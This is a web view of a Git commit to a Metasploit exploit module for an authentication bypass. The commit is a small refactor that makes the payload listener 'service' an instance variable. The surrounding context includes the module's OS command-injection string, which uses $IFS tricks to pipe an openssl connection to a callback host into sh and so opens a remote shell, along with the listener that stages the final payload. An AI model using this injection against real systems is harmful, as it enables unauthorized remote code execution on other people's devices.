Browse Source

restore session as an instance variable

Brent Cook 3 years ago
parent
commit
b34201e65c
1 changed files with 10 additions and 10 deletions
  1. 10
    10
      modules/exploits/unix/misc/psh_auth_bypass.rb

+ 10
- 10
modules/exploits/unix/misc/psh_auth_bypass.rb View File

@@ -180,7 +180,7 @@ class MetasploitModule < Msf::Exploit::Remote
180 180
     start_listener(true)
181 181
 
182 182
     # Figure out the port we picked
183
-    cbport = service.getsockname[2]
183
+    cbport = self.service.getsockname[2]
184 184
 
185 185
     # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
186 186
     cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
@@ -206,7 +206,7 @@ class MetasploitModule < Msf::Exploit::Remote
206 206
       comm = nil
207 207
     end
208 208
 
209
-    service = Rex::Socket::TcpServer.create(
209
+    self.service = Rex::Socket::TcpServer.create(
210 210
       'LocalPort' => datastore['CBPORT'],
211 211
       'SSL'       => ssl,
212 212
       'SSLCert'   => datastore['SSLCert'],
@@ -218,26 +218,26 @@ class MetasploitModule < Msf::Exploit::Remote
218 218
       }
219 219
     )
220 220
 
221
-    service.on_client_connect_proc = proc { |client|
221
+    self.service.on_client_connect_proc = proc { |client|
222 222
       stage_final_payload(client)
223 223
     }
224 224
 
225 225
     # Start the listening service
226
-    service.start
226
+    self.service.start
227 227
   end
228 228
 
229 229
   # Shut down any running services
230 230
   def cleanup
231 231
     super
232
-    if service
232
+    if self.service
233 233
       print_status("Shutting down payload stager listener...")
234 234
       begin
235
-        service.deref if service.is_a?(Rex::Service)
236
-        if service.is_a?(Rex::Socket)
237
-          service.close
238
-          service.stop
235
+        self.service.deref if self.service.is_a?(Rex::Service)
236
+        if self.service.is_a?(Rex::Socket)
237
+          self.service.close
238
+          self.service.stop
239 239
         end
240
-        service = nil
240
+        self.service = nil
241 241
       rescue ::Exception
242 242
       end
243 243
     end

Loading…
Cancel
Save